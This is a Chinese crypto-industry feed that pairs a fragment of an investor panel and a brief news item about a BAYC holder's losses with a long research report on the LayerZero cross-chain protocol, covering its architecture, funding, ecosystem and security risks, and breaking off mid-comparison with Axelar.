8848 的 CEO，专门举行了 24 小时生存试验，让几个人观战一个房间，给他变现，能不能生存。当时我们都能想象，互联网让我们不用吃饭，但现在还是要吃饭。回头看这 20 年，互联网的确在我们改变身边所有的东西，通讯方式、购物方式、娱乐方式。 冯波：我们不是打赌了吗？三个人说人类到什么时候不吃饭了，我说是 200 年，你说是 20 年。 蔡文胜：我们三个人中午在吃饭，冯波问他孩子说：「再过 200 年，你还要不要吃饭？」他的孩子回答：「不要。」我跟曾鸣都批评冯波，你太悲观了，我和曾鸣的观点是 30 年左右，我们可能就不再吃饭。 冯波：现在日本有 150 万人口不出家门，就是在做互联网上愿意做的事情，他可以在那儿赚钱，吃一些非常简单的饮料和食品。 蔡文胜：现在很多人会轻断食，有一个人已经试验了，《奇点临近》的作者库兹韦尔，他最近这些年每天靠吃药丸过活，有一天可能连药丸都不用，充电就行了，要敢于想象。 现在我们的确经常碰到短期的困难，比如我曾经让很多年的朋友买比特币、以太坊，后来我自己都很难受，因为他每隔几天告诉我又跌了，我说你为什么不按年时间去看待这个事？如果按天、按年来看，比特币、以太坊经常处于跌的状态。如果时间拉长到 2009 年到现在，涨几万倍。以太坊 2014 年出现才几分钱，到现在涨了几万倍。 如果你把时间拉长，以年为维度，这个行业还是在飞速发展。同样，AI 有可能和 Web3 结合，在未来的 20 年，你都很难想象未来 20 年是什么样，但是人一定要乐观、积极地往前看。有句话说得好，因为你相信，最终才会看见。 曾鸣：谢谢两位！我再快速补充一个观点，现在大家创业的整体宏观环境都很困难，我觉得根本的原因是 2015 年以后，技术进步创造的红利不足以带动全球经济往前再走一步。也许在未来的三五年各种技术进步融会在一起，我们进入下一个技术大爆炸周期的时候，可能会带动全球经济的进一步发展，整体的环境也会好很多。 谢谢！  ( 6 min )
    知名BAYC持有者Franklin已删除其推特账号，此前因赌博和投资失败抛售大量BAYC
    PANews 4月19日消息，经查看，知名BAYC持有者Franklin已删除其推特账号。Franklin于4月13日抛售大量BAYC，Franklin之前发推文解释称，其在此前的一项投资中被骗了近2000枚ETH，并在Rollbit项目投资中亏损650枚ETH。Franklin建议大家不要赌博，也不要发送任何未抵押的ETH。  ( 1 min )
    项目研报丨万字详解全链互操作性协议LayerZero
    LayerZero 是一种全链互操作性协议，专注于链与链之间的数据消息传递。LayerZero产品设计理念在跨链桥领域具有很大的创新性，基于预言机和中继器的数据传输方式使得协议更为轻便，并且在安全性能方面也有一定的保障。目前协议的网络采用率情况良好，生态方面也取得了一定规模的发展。项目热度高，整体情况良好，值得关注。 注：本文于2023-01-02首发于头等仓网站 LayerZero 是一种全链互操作性协议，专注于链与链之间的数据消息传递。在业内，目前有一种说法将此类的“桥”称为：“Arbitrary Messaging Bridges (AMBs)”，即任意信息传递桥，这些桥允许任何数据，包括代币、链的状态、合约调用、NFT 或治理投票等，从链A转移到链B。 在跨链桥领域，以往我们可见的全部都是单一的“资产跨链”，而现如今我们已经看到有一些项目逐步开始转向数据传递领域上的探索。LayerZero就是该领域的先行者之一。 LayerZero项目的亮点在于： 1）LayerZero基金会目前持有的资产价值总计 2.61 亿美元，资金十分充沛，足够项目长期的开发、运营。 2）在产品方面，LayerZero的设计不同于目前市面上的跨链桥，其选择预言机网络取代了传统跨链的连续流式传输（Continuous Streaming），通过将验证链上信息传递的负担外包给第三方预言机，从而使得协议更为轻巧，并且运营成本低。 3）LayerZero创新的技术加之更快的部署速度和一定的成本优势，以及早期著名VC和社区具有影响力KOL的推动，使得LayerZero生态在短短一年左右的时间内得到了快速的扩张，并且在DeFi、NFT和稳定币等方向都取得了不小的成绩。截至目前，已有50+项目（含未正式推出/上线的项目）集成或正在使用LayerZero技术。 4）目前市面上发展较为完善，且尚未被攻击过的Arbitrary Messaging Bridges (AMBs) 项目数量还十分少，LayerZero具有一定的先发优势。 该项目的风险点在于： 1）LayerZero的安全性未经充分验证，预言机和中继者彼此之间需要独立运行的信任假设有待商榷，中继机制背后的安全隐患等问题仍需警惕。但另一方面，LayerZero安全性理论上不低于预言机的信任假设相对能够让人信服，关键点可能在于如何实现中继的去中心化。 2）LayerZero经济模型暂未推出，目前在跨链桥领域，大部分项目发行的代币，在价值捕获能力方面的表现普遍较弱，后续LayerZero的经济模型如何仍有待观察。 综合来看，虽然LayerZero目前仍面临着一些问题，但整体的基本面情况良好，因此值得关注。 说明：头等仓最终评定的【关注】/【不关注】，是按照头等仓项目评估框架对项目当前基本面进行综合分析的结果，而非对项目代币未来价格涨跌的预测。影响代币价格的因素众多，项目基本面并非唯一因素，因此，不可因为研报判定为【不关注】，就认为项目价格一定会跌。此外，区块链项目的发展是动态的，被我们判定为【不关注】的项目，若其基本面发生重大的积极变化，我们将有可能会调整为【关注】，同样地，被我们判定为【关注】的项目，若发生重大恶性改变，我们将会警示所有会员，并有可能会调整为【不关注】。 LayerZero是一种全链互操作性协议，专为跨链传递轻量级信息而设计。 此外，需注意的是，LayerZero只专注于链与链之间的消息传递，能够向支持的任何链上的任何智能合约发送消息，也就是一个消息传输层，用于区块链之间的智能合约通信，不负责资产的跨链。 成立时间 2021.11.30 发行时间 暂未发行代币 所属国家 加拿大 所属板块 数据跨链 募资情况 $ 2.61亿美元 LayerZero Labs CanadaInc.（公司编号：1355847-9）于 2021 年 11 月 30 日根据《CanadaBusiness Corporations Act》在加拿大注册。Caleb Banister、Ryan Zarick 和 Bryan Pellegrino 被列为公司董事[1]。 据LinkedIn披露[2]，目前LayerZero有29名成员，核心成员具体情况如下： Caleb Banister，LayerZero Labs和Stargate Finance的联合创始人，2010年毕业于美国新罕布什尔大学，2005.06 – 2010.12担任UNH互操作性实验室的软件开发师；2010.09 – 2021.02担任Coder Den（一家软件咨询公司）的联合创始人；2018.03 – 2021.02担任80Trill（一家加密公司，专门为区块链相关项目编写和审计智能合约）的联合创始人；2019.06 – 2021.02担任Minimal AI（一家ML/AI公司）的联合创始人；2021.02 – 至今，创立LayerZero。 BBryan Pellegrino，LayerZero Labs联合创始人兼CEO，2008年毕业于美国新罕布什尔大学，2010.10 – 2013.01担任Coder Den的联合创始人兼COO；2011.06 – 2013.01担任BuzzDraft的CEO（2013年被收购）；2017.10 – 2019.08担任OpenToken的联合创始人；2016.06 – 至今，担任Rho AI的首席工程师；2021年创立LayerZero至今。在创立 LayerZero 之前，Pellegrino 曾是一位职业扑克选手，成功地把一套自己编写的机器学习工具销售给了一支 MLB（美国职业棒球大联盟）球队，还在人工智能领域发表过期刊报告。此前Generalist的Mario Gabriele还对Pellegrino进行过一次专访，对其过往履历感兴趣的朋友可以查阅该链接。 RyanZarick，LayerZeroLabs联合创始人兼CTO，2011年毕业于美国新罕布什尔大学，2006.08 – 2011.05担任UNH互操作性实验室的软件开发师和研究生助理；2011.11 – 2013.03担任BuzzDraft的CTO；2010.09 – 2020.13担任Coder Den的联合创始人；2018.01 – 2020.03担任80Trill的联合创始人；2019.06 – 2021.01担任Minimal AI的联合创始人；2021年创立LayerZero并担任CTO。 从LayerZeroLabs 3位联合创始人的履历来看，具有较高的重合度，彼此有长期的合作关系，团队磨合度高，并且三者都拥有多年的开发经历或成功的创业经验。 0xMaki[3]，SushiSwap前创始成员和核心贡献者，目前已全职加入LayerZero Labs。0xMaki在 SushiSwap 的早期市场营销中起到了关键性的作用，并且在 Chef Nomi 退出后成为项目负责人。任职期间 0xMaki 主要负责决定SushiSwap 的日常运营，业务发展策略和整体的发展。此外，Sushi 的跨链Swap项目 SushiXSwap 就是在 0xmaki 的牵头下完成，为Sushi和LayerZero两个协议增添了应用场景。 表2-1 LayerZero融资情况 此外，受2022年11月上旬FTX的暴雷事件影响，2022年11月11日，LayerZero官方发文表示，已从 FTX/FTX Ventures/Alameda Research 手上回购 100%的股权、币权及其它任何协议。当时基金会持有的资产价值总计 1.34 亿美元[8]（其中团队存放在FTX交易所内的1,070万美元，不纳入上诉计算）。因此也可以看出上述LayerZero的第三轮次的融资并未完成。 从上表我们可以看出，作为明星项目出身的LayerZero，从一开始就获得了各大资本的青睐，截至目前已知的融资金额已达2.61亿美元。整体上来看，目前LayerZero的资金十分充沛，足够项目长期的开发、运营。 图2-1 LayerZero代码库情况[9] 如上图2-1所示，LayerZero代码库从2019年3月份开始更新，整体上来看，LayerZero累计代码提交次数6415次，并且累计有116名开发者成为LayerZero Github的Git/Issue作者和审查提交者。 结合LayerZero在2022年9月披露的进展情况[10]来看，目前LayerZero的测试网上已经部署了7000+份活跃的合约，有着十分不错的采用率。 此外，LayerZero代码库累计已经完成由Zellic、Ackee和SlowMist（慢雾）进行过的4次审计，具体的审计报告可通过该链接查询。 综上，在过去近3年的时间里，LayerZero项目代码更迭情况良好，开发人员充足，几个重要的代码库更新都比较频繁。 首先我们要理清一个容易造成混淆的误区，LayerZero是一个全链互操作性协议，它只专注于链与链之间的消息传递，能够向支持的任何链上的任何智能合约发送消息，也就是一个消息传输层，用于区块链之间的智能合约通信，不负责资产的跨链。 2.4.1LayerZero框架 据 LayerZero 白皮书[11]显示，协议核心有三个组件，分别是端点（Endpoint）、预言机（Oracle）和中继器（Relayer）。 1）端点（Endpoint）是和用户或者应用直接交互的设施，或者也可视为处理逻辑的一系列智能合约。这些端点负责处理消息传输、验证和接收。它们的目的是在用户使用协议发送消息时保证有效传递。 在 LayerZero 协议中，每个链都需要部署一个 LayerZero 的 Endpoint。Endpoint 可以被其他同链的 App 调取使用，负责发送信息给外链。比如：一个 Dapp 想从 A 链传递信息给 B 链，他首先要调用 Chain A 的 Endpoint，提交需要发送的信息。 每个LayerZero Endpoint分为4个模块：通信器（Communicator）、验证器（Validator）、网络（Network）、库（Libraries）。通信器、验证器和网络模块构成了 Endpoint 的核心功能，这些模块的作用类似于传统的网络堆栈。消息在发送方（通信器）的堆栈中向下发送，由验证器验证再传递到网络，然后在接收方的堆栈中向上发送。 而LayerZero所支持的每一个新的链都是作为一个额外的库加入的。这些库是辅助性的智能合约，它们定义了每个链的具体通信的处理方式。LayerZero网络中的每条链都有一个相关的库，每个端点都包括每个库的副本。 在介绍预言机和中继器之前，我们需要先明确一个概念。首先，为了在链上验证一个区块，我们需要两个信息：1）区块头，它包含了Receipts Root[12]；2）交易证明，即EVM上的Merkel-Patricia证明[13]。 LayerZero通过以下方式将这两个部分分割开来：1）预言机转发区块头——任何被选中的预言机；2）中继（Relayer）转发交易证明。 2）预言机对于 LayerZero 来说是一个外部的组件，也就是一个第三方服务，独立于LayerZero 协议。预言机主要提供的价值就是将区块头发送至另外一个链，这样才能在目标链上验证源链上交易的有效性。 3）中继器是一个链外的服务，功能是获取源链上的交易证明，然后传输给目标链。LayerZero 认为，为了确保交易可以被有效地交付，预言机和中继器必须是相互独立的。 目前通常情况下，一条链与另一条链无需信任的通信方式，是将A链的区块头连续地传输到B链。比如：Relay中继，其通过第三方提交 BTC 的区块头，为以太坊上的跨链等其他应用提供一个可信的 BTC 数据源，以此来实现 BTC 到以太坊的价值流通，这时候跨链桥合约基本上是一个轻客户端。这种方式传输信息是最安全的，不过问题在于，写入区块链的成本很高，因此持续的传输这些区块头非常昂贵。 而LayerZero最大的改进就在于，其选择预言机网络取代了这种连续流式传输（Continuous Streaming）。 目前据LayerZero官网文档显示和团队披露，测试网上配置的预言机是Chainlink和TSS Oracle，当前的预言机还不是去中心化的，也未经过实战测试，这也意味着存在被黑客攻击的风险。据官方描述，待LayerZero测试完成之后，将会有更多的预言机披露。 LayerZero采用Chainlink充当其预言机，将有几个好处： 1）将验证信息的功能外包，无需在链接的链上运行节点；预言机只允许一次性将区块头传输到目标链，这两点使其运行成本降低； 2）LayerZero通过依赖预言机和中继器，在不同链上的端点之间传输消息。首先通过预言机按需传输流式区块头，以更高效的链外实体来达到所需的同步状态。预言机提交的区块头将与中继提交的交易凭证进行交叉验证。只有在预言机与中继器串通的情况下，系统才会崩溃，也就是安全性不低于预言机。 3）中继（Relayer ）和预言机（Oracle）都没有形成任何共识或验证，他们只是在传输信息。由于所有的验证都是在各自的源链和目的链上完成的，所以速度和吞吐量的限制完全取决于两个交易链的属性。 不过也存在缺陷：LayerZero将验证链上信息的任务外包给第三方，如后续将采用的Chainlink。这里并不是说Chainlink不好，而是LayerZero引入了协议无法控制的安全假设，从长远来看，将关键任务部分的工作转嫁给第三方会增加其他风险和潜在的不确定性。 为了确保信息的有效传递，一旦中继器或是预言机之间的信息传递出现任何争议，那么智能合约将会暂停且不会将信息提交给目标链。也就是上述我们说的，只有在预言机与中继器串通的情况下，系统才会崩溃，也就是安全性不低于预言机。 虽然在LayerZero中，协议允许每个Dapp的开发团队可以改造 Layerzero 提供的预言机/中继器代码，在将其嫁接到应用自己的服务器或是验证者网络上，从而使用自己的预言机进行喂价，或是自己运行一个中继从而确保预言机不会与中继器勾结作恶（LayerZero此前也在社区建议中继器需要更加去中心化）。 而目前的情况是，虽然大家都知道“去中心化”更好，但是大多数Dapp迫于成本、运营、用户体验等方面的考虑，以及“Chainlink已经够好了”的观念，几乎所有的Dapp首选的预言机都是Chainlink。同理大多数的Dapp也会直接选择LayerZero自己的中继器。就像是现在几乎没有用户运行自己的节点来交易，人们都依赖于Infura、Alchemy等中心化服务商。 这样的话，一旦中继器出现了恶意行为（被黑客入侵或是未按预期进行工作），Chainlink 预言机将会进行拦截，阻止在原链上发生的任何重大损失。选择Chainlink的优势毋庸置疑，但是如果假设Chainlink能成为实现两种功能（预言机和中继器）的有效且现实的替代方案，那么LayerZero的信任假设是否还成立，就有待商榷了。 上诉观点灵感来源Pickle andAylo的《Layer 0 Wars: LayerZero vs Chainlink's CCIP》一文，感兴趣的读者可以移步原文进行阅读。 2022年4月，LayerZero团队介绍了保证协议安全性的方法，并将其称为“Pre-Crime”。目前有关Pre-Crime的公开信息很少，博文中仅介绍了其基础运行的原理，总结起来大概就是：Pre-Crime模型允许用户应用程序（UA，User Application）定义一组特定的断言（assertions），中继器必须根据这些断言进行验证。如果断言失败，中继器就不会中继交易。通过引入Pre-Crime，确保中继器在黑客攻击发生之前能够阻止黑客攻击[14]。 目前“Pre-Crime”相应的代码库并未开源，不过LayerZero团队已与多个团队一起推出了一个私有的Pre-Crime测试版，后续正式版上线时间暂未披露，其有效性还有待实践验证。 此前LayerZero 3 月 28 日在未发表任何公告的情况下更新了跨链使用的验证合约。Cobo 安全团队通过对比原始验证合约（MPTValidator）和新验证合约（MPTValidatorV2）代码，发现本次更新是对之前重大安全漏洞的修复。 该漏洞的代码是 LayerZero 协议中最核心的 MPT 交易验证部分的代码，是整个 LayerZero 及上层协议正常运作的基础。如为及时发现，最终可造成的最严重的后果是，在LayerZero 预言机完全可信的前提下，中继仍可以单方面通过伪造 receipt 数据的方式来实现对跨链协议的攻击，打破了 LayerZero 之前的安全假设。 Cobo安全团队称，虽然 LayerZero 已经修复了目前的漏洞，但不排除其他漏洞存在的可能性。该事件也引发了社区对LayerZero中继机制背后安全性的担忧。 综上，LayerZero目前虽然已经发展到了相当的体量，但是其协议背后的安全性仍未得到充分验证。 2.4.3运行流程 图2-2 LayerZero 跨链交易中的通信流 LayerZero具体的运行流程如下： 头等仓注：上述流程为了更通俗易懂，编者简化了一些细节，比如端点（通信器、验证器和网络）的情况，但本质的逻辑不变。 从上述流程，我们不难看出LayerZero只负责消息的传递，就好比A有一则消息需要传输给B，于是A打电话给B告诉他信息的内容，B拿起电话，接受消息，流程结束。这是一个十分简单的逻辑。那么跨链的资产是如何传输的呢？ 首先每个链上都需要部署一个 LayerZero 的 Endpoint，用以发送和接收信息。而资产交易的流动性由集成了LayerZero的DEX等Dapp来平衡各个端点的LP。 目前LayerZero的这种平衡能力由Stargate Finance提供，Stargate 的Delta (Δ) 算法确保了全链流动性保持平衡和可用（详情参阅头等仓此前发布过的Stargate Finance研报）。 简而言之，LayerZero只负责处理链与链之间的通信问题，其他的额外功能/问题皆由集成了LayerZero的应用程序来自行解决。 LayerZero是一种全链互操作性协议，作为一个链与链信息传递之间的枢纽，LayerZero可以做的不仅仅是资产跨链，在实现了跨链消息传递之后，LayerZero还可以实现跨链状态共享、借贷、治理等。 此外，不同于目前市面上的传统跨链桥的模式，LayerZero无需在各个连接的链上去运行节点，从而监控源链上的状态，将原本验证器（Validator）的角色交由预言机（Oracle）扮演。这里直观的一个好处就是，无需在每条新链上部署一个新的节点，从该点出发，LayerZero将新链并入网络的速度会更快，并且成本更低。截至2022年11月11日，LayerZero已经支持了Ethereum、BNB Chain、Avalanche、Aptos、Polygon、Arbitrum、Optimism、Fantom等总计13条链。 LayerZero创新的技术加之更快的部署速度和一定的成本优势，以及早期著名VC和社区具有影响力KOL的推动，使得LayerZero生态在短短一年左右的时间内得到了快速的扩张，并且在DeFi、NFT和稳定币等方向都取得了不小的成绩。截至目前，已有50+项目（含未正式推出/上线的项目）集成或正在使用LayerZero技术。详情如下（仅列举部分）： 图2-3 LayerZero 生态项目一览 头等仓注：上图由@LayerZeroHub（非官方）统计汇总。后续如想追踪LayerZero的生态项目，还可以关注由Luke（Twitter ID：@0x4C756B65）在Twitter上维护的列表。 1）DeFi领域 表2-2 LayerZero生态DeFi合作项目 项目 描述 Stargate Finance 第一个基于 LayerZero 协议搭建的 Dapp，与LayerZero隶属同一开发团队。据团队描述，其构建了第一个完全可组合性的原生资产桥。 SushiXSwap SushiSwap推出的跨链DEX AMM，基于LayerZero的Stargate 协议打造。据团队此前的描述，SushiXSwap可以在源链的单个交易中使用Stargate执行兑换、桥接交易，让Dapp集成协议，然后用户就在Dapp里面就完成资产的跨链调度。 PancakeSwap PancakeSwap Bridge是一个原生资产跨链桥，由Stargate提供支持。通过使用PancakeSwap Bridge，可以让不在BNB链上的用户将他们的稳定币及其他资产无缝连接到BNB链，并参与到活跃的PancakeSwap社区和生态系统中。 Hashflow Hashflow是依赖专业做市商请求报价（RFQ）的 DEX，交易无滑点问题，LP 无需承担无常损失；协议执行多链部署，提供了资产无桥跨链兑换功能。Hashflow的跨链系统目前采用的是 LayerZero 进行验证。 Radiant Capital Radiant是一个部署在 Arbitrum 上基于 LayerZero和Stargate 的多链借贷项目，即用户可以在一条链上抵押资产，在另外一条链上借出 USDT 或 USDC。 Rage Trade Rage Trade是一种永续合约交易平台，目标是通过 80：20 vault建立流动性较强的以太坊永续合约。通过将 80% 的存款转入外部协议以赚取收益，同时利用剩下的 20% 作为交易者流动性来提高 LP 回报。Rage Trade 通过与 LayerZero 集成，旨在允许vault能够从任何 L1 和 L2 中获得收益。 OmniBTC OmniBTC将自身定位成一个全链单币池流动性聚合协议。OmniBTC 以 LayerZero、Wormhole 等跨链互操作协议为桥梁，以 Sui 为链上结算中心，聚合全链流动性。 TapiocaDAO TapiocaDAO是一个跨链DeFi借贷协议，团队将自身定位为全链（omnichain）借贷协议，旨在实现不同的链与链之间的杠杆借贷和可组合性。 2）稳定币领域 表2-3 LayerZero生态稳定币合作项目 项目 描述 Circle 2022.09.29，稳定币发行商 Circle 宣布将推出跨链传输协议，以支持 USDC 的互操作性，计划今年晚些时候在以太坊和 Avalanche 上线。Circle 的 USDC 原生跨链设施由 Layerzero 提供支持。目前该产品处于测试阶段。 Angle Protocol LayerZero此前宣布与欧元稳定币协议Angle Protocol实现集成，agEUR目前已经可以在以太坊、Polygon、Optimism和Arbitrum之间转移，且所有流动性池已经实现统一。 3）NFT领域 表2-4 LayerZero生态NFT领域合作项目 项目 描述 Gh0stly Gh0sts Gh0stly Gh0sts 是第一个全链 NFT（omnichain NFT），采用 Layerzero 跨链通讯协议打造，目前支持在 7 条链上进行跨链操作（不过目前流动性主要集中在 ETH 和 Polygon 链上）。头等仓注：在 Gh0stly Gh0sts 刚刚推出之际，LayerZero 团队创始人等多名核心成员，曾将 Twitter 头像设置为该 NFT。 Omni X Omni X 是一个基于 LayerZero 的全链 NFT 平台，fork LooksRare。依据官方信息显示，Omni X 旨在链接创作者和用户，使得用户可以在其支持的链上铸造并交易 NFT，以聚合分散在多链上的用户和社区。 Omnisea Omnisea 是一个基于 LayerZero 和 Axelar Network 的全链 NFT Launchpad，创作者可以在平台上发行基于 LayerZero 的跨链 NFT。同时，该项目已发行代币 OSEA，用户可以通过staking代币获得部分平台收入作为奖励。 tofuNFT tofuNFT 是一个专注于 GameFi 和收藏品的多链 NFT 市场，用于购买、销售和交易 NFT，由 SCV.Finance 创建，并部署在多个区块链上，同时也是目前Layer 2上出现频率较高的NFT项目。 Holograph Holograph 是一个全链NFT协议，其解决方案允许 NFT 在区块链间无缝转移而无需封装，LayerZero 将作为 Holograph 的跨链消息传递解决方案为其提供支持。目前 Holograph 的产品处于测试阶段。 结合上图2-2和表2-1至表2-3，我们可以看出LayerZero的生态版图已然发展到一个相当的规模。从DEX蓝筹Sushi、PancakeSwap，再到当下火热的RadiantCapital都是采用LayerZero旗下的Stargate进行跨链DEX开发；在稳定币领域，USDC和agEUR都通过Layerzero技术支持其各自稳定币的跨链互操作性，从而升级成多链原生资产；在NFT领域，虽然现在多链NFT的需求暂不明显，但是我们也看到了诸如Gh0stlyGh0sts、tofuNFT等项目，在多链NFT方向的尝试。此外，LayerZero在前段时间也推出了官方浏览器LayerZero Scan，跨链交易现在可以通过LayerZero Scan‌绑定在一个数据库中，允许用户和开发人员提取交易的状态、状态和时间。 通过LayerZero内外并进的措施下，其全链（Omnichain）概念或将在未来取得进一步的发展。 总结： LayerZero是一种全链互操作性协议，专为跨链传递轻量级信息而设计，整体架构合理，无需在连接的链上运行节点，通过依赖预言机和中继器，在不同链上的端点之间传输消息。虽然安全性未经市场充分验证，但协议理论上来看安全性不低于预言机（Chainlink），有一定的保障。 目前LayerZero基金会持有的资产价值总计 2.61 亿美元，财库十分充沛。LayerZero项目代码更迭情况良好，生态在短短一年左右的时间内得到了快速的扩张，是目前跨链领域发展最快的项目之一。 表3-1 LayerZero大事件 2021.09.16 LayerZero完成600万美元A轮融资，Multicoin和Binance Labs领投 2022.03.15 LayerZero聘请SushiSwap前联合创始人0xMak加入其团队 2022.03.17 LayerZero启动旗下跨链协议Stargate $ STG代币销售 2022.03.22 0xMaki在Sushi治理论坛发起提案，建议集成Stargate跨链桥 2022.03.23 Alameda联席CEO：购买了Stargate公开发行的所有STG，3年内不会出售 2022.03.29 跨链桥协议Stargate曾出现严重漏洞，团队已修复 2022.03.31 LayerZero Labs以10亿美元估值完成1.35亿美元A+轮融资，FTX Ventures、红杉资本与a16z领投 2022.04.02 LayerZero Labs推出最高1500万美元的安全漏洞赏金计划 2022.04.05 基于LayerZero的跨链流动性协议Stargate锁仓额突破40亿美元 2022.05.25 LayerZero Labs正以30亿美元估值进行融资谈判，FTX Ventures已承诺领投（已放弃） 2022.08.11 去中心化稳定币协议Angle Protocol与LayerZero集成，使其agEUR成为全链欧元稳定币 2022.09.07 LayerZero推出全链区块浏览器LayerZero Scan 2022.09.29 Circle 将推出 USDC 跨链传输协议，该协议计划于今年晚些时候在以太坊和 Avalanche 主网上线，LayerZero Labs、Wormhole、BitGo、Avalanche 将率先在平台中进行集成 2022.10.11 Aptos已集成互操作性协议LayerZero 2022.10.20 LayerZero推出Aptos Bridge 2022.10.28 Harmony选择LayerZero作为其恢复Horizon桥的合作伙伴 2022.11.11 LayerZero宣布已从FTX处回购100%股权和币权，目前持有1.34亿美元价值资产； LayerZero：愿1:1置换出FTX中280万枚STG为6个月锁定期的veSTG 2022.11.18 Avalanche 上比特币封装资产 BTC.b 可在互操作性协议 LayerZero 支持的任何区块链上转移 2022.11.20 LayerZero在Metis Goerli测试网上线 2022.12.01 LayerZero主网整合Chainlink预言机 2023.01.26 LayerZero与NFT项目“胖企鹅”达成合作，实现Lil Pudgys跨链 2023.02.06 DEX Trader Joe将集成LayerZero，原生代币JOE将转变为全链同质化代币 2023.03.10 LayerZero Labs宣布在Coinbase以太坊Layer2网络Base上部署，LayerZero的端点合约已部署至测试网 2023.04.04 LayerZero以30亿美元估值完成1.2亿美元B轮融资，红杉资本等参投 3.2.1网络使用情况 图3-1 LayerZero每日交易数[17] 图3-2 LayerZero累计交易次数 从上图3-1、图3-2可以清晰的看出LayerZero网络的使用情况，在过去一年的时间内，整体呈现一个稳步上升的态势，特别是在2023.03，Arbitrum宣布向其社区成员空投治理代币ARB后，社区的“撸空投”情绪空前高涨，带动了未发币的LayerZero生态以及zk生态使用率的大幅度上升。虽然这一现象长期来看，并不能持续，但通过这种“空投预期”，变相的也能让更多的用户去了解LayerZero，从而留存下一定基数的真实用户。 此外，即使是拿掉LayerZero 3月份的数据，其网络采用率自2022年底至3月初，也是实现了翻倍。目前我们也能看到不少基于LayerZero的协议开始落地，生态建设方面初步取得成效。 图3-3 跨链桥跨链资产体量排名[18] 此外，据DeFiLlama的数据接口显示（如上图3-3），目前LayerZero旗下的Stargate的桥接资产体量，目前位居所有跨链桥（含各个公链、二层的官方桥）的第一名。单从体量上来看，Stargate目前已然成为跨链桥赛道的头部项目。 头等仓注：目前DeFiLlama数据端口显示的各个跨链桥的交易量、交易笔数，现阶段波动较大，该数据并不代表各个跨链桥长期的竞争优势，仅供参考。 不过需注意的是，从交易笔数来看，Stargate远超其他的跨链桥，但是跨链的资金体量并没有拉开太大差距，目前尚未有充足的迹象表明Stargate的小额交易操作体验更好。因此可以推测，其相当一部分的交易数据可能是由于LayerZero潜在的空投预期。 虽然各个项目方都不提倡撸空投的行为，但从另一层面出发，也正是因为潜在的空投预期，为LayerZero和Stargate带来了更高的曝光度以及采用率，目前为协议带来的收入也是实打实的。 3.2.2营收情况 目前生态应用接入LayerZero没有门槛，LayerZero Labs当下主要的收入来源于Stargate Finance的交易手续费。 通过Stargate协议进行的非 STG 代币转账，都将产生 0.06% 的转账费。其中 0.01% 将被分配给流动性提供者，0.01% 将被分配给veSTG持有者，0.04% 将被分配给协议的财库[19]。 图3-4 Stargate每月跨链金额[20] 据Stargate披露的每月成交金额dashboard显示，Stargate从2022年3月推出至今（2023年4月7日），累计成交的跨链金额达$ 6,286,702,699，约63亿美元。 为方便计算，假设这63亿美元的进行的都是非 STG 代币转账，那么Stargate财库大概可以获得：$ 63亿 * 0.04% ≈ 252万美元的手续费收入。 而如果是按照当前的规模推算，据token terminal统计Stargate过去30天协议收入约为73万美元，如维持当前规模，未来一年的收入将达到889万美元[21]（理想情况，该数据仅供参考）。 LayerZero当前没有具体的路线图，当下主要的工作是与一些项目进行集成整合，同时也在向更多的链扩张。 总结： LayerZero整体进展迅速，其网络增速在近2、3个月尤为明显。不过目前协议暂未披露详细的路线图。 LayerZero Labs目前暂未发币，不过团队在其官方文档的代码中披露了$ ZRO token 的信息，结合下图4-1，我们可以看出$ ZRO 未来可能会被用来支付其链上Gas费。 图4-1 Layerzero官方文档[22] 此外，之前社区也有推测LayerZero最终会变代币化，因为LayerZero协议在操作过程中存在着质押行为，那些来自中继器的恶意行为会由此而损失质押的$ ZRO 代币。但这只是猜测，还未得到团队的确认。 LayerZero是一种全链互操作性协议，专为跨链传递轻量级信息而设计，属于跨链桥赛道，再往下细分的话是一个支持数据消息的传递桥。 去年编者在头等仓发布的《跨链桥赛道解析》中，为方便读者理解，更好的将跨链桥与Polkadot 和 Cosmos 的跨链区分，将跨链桥一律归纳为资产跨链。但是跨链桥经历了一年的发展，现下我们也看到了越来越多的“桥”不在局限于基础的资产跨链，开始在数据传递的领域上探索。 现在其实也不难区分Polkadot 和 Cosmos的跨链与跨链桥的区别。Polkadot 和 Cosmos 本质上都是使用统一框架的链，具备较高的互操作性，同时对框架外的链，不具备任何的跨链优势。这两者的跨链更像是 Layer 0，用户需要基于他们自身的标准才能实现跨链；而对于跨链桥来说，两条链可以有不同的协议，解决了不同资产不同网络之间的资产、数据迁移问题。 之前我们谈论“跨链桥”一词，其实往往都只是局限于“资产跨链”的讨论，即流动性网络或可信的第三方促进代币 X 从链 A 转移到链 B。 然而资产跨链只是链与链通讯之间较容易实现的功能，跨链桥能做的不仅仅只是将Token从链 A 转移到链 B，其中还涉及到了数据层面的通信。沿用此前1kx 研究合伙人Dmitriy Berenzon对跨链桥进行的定义[23]：在抽象层面上，人们可以将“桥”定义为在两个或多个区块链之间传输信息的系统。在这种情况下，信息可以指资产、合约调用、身份证明或状态。 简单的理解，跨链桥是一种链与链连接的桥梁工具，允许将代币、资产、数据从一条链转移到另一条链。两条链可以有不同的协议、规则和治理模型，而桥提供了一种相互通信和兼容的方式来安全地在双方进行互操作。 目前市面上的跨链通信方式主要有3种：1）资产交换；2）资产转移；3）通用通信。 LayerZero作为一个支持数据消息传递的跨链桥，属于上述分类的第3类别。在竞品部分，我们也是着重去对比此类桥。而对于目前市面上常见的资产跨链桥，在本章节不做过多对比分析。 对于支持“数据跨链”的这类桥，此前已有多个致力于跨链领域的开发团队将其称之为“Arbitrary Messaging Bridges (AMBs)”，编者认为其定义较为中肯，因此在下文也将沿用该说法。简单翻译过来就是：任意信息传递桥，这些桥允许任何数据，包括代币、链的状态、合约调用、NFT 或治理投票，从链A转移到链B[24]。 目前除了LayerZero，市面上讨论度较高的Arbitrary MessagingBridges（AMBs）还有：Wormhole、Nomad、Celer Inter-chain Message (IM)、Multichain 的 anyCall和 Axelar等。 5.2.1Axelar[25] Axelar是通用型跨链基础协议，其采用跨链网关协议（CGP）、跨链传输协议（CTP），并通过自身POS公链来做见证人链进行任意两条公链的信息传递。目前覆盖以太坊、Cosmos、Avalance等共计15条公链。 运行逻辑： Axelar网络通过其API与外部区块链搭建，本质上是在其他链搭建智能合约，然后通过本身网络的验证者运行外部区块链的轻节点客户端来监控该智能合约的相关信息，将信息传输到Axelar主网，进行投票验证，验证通过后写入区块，然后在目标链的智能合约履行需求。接下来通过下图来说明相关流程： 图5-1 Axelar网络流程图 上图比较简单的描述了Axelar网络运行流程，但是不够具体，接下来编者通过举例来深入描述一下相关流程： 假设：Axelar与源链A和目标链B都建立网关（智能合约），源链A中的用户想要向目标链B传递资产。通过如下5步： 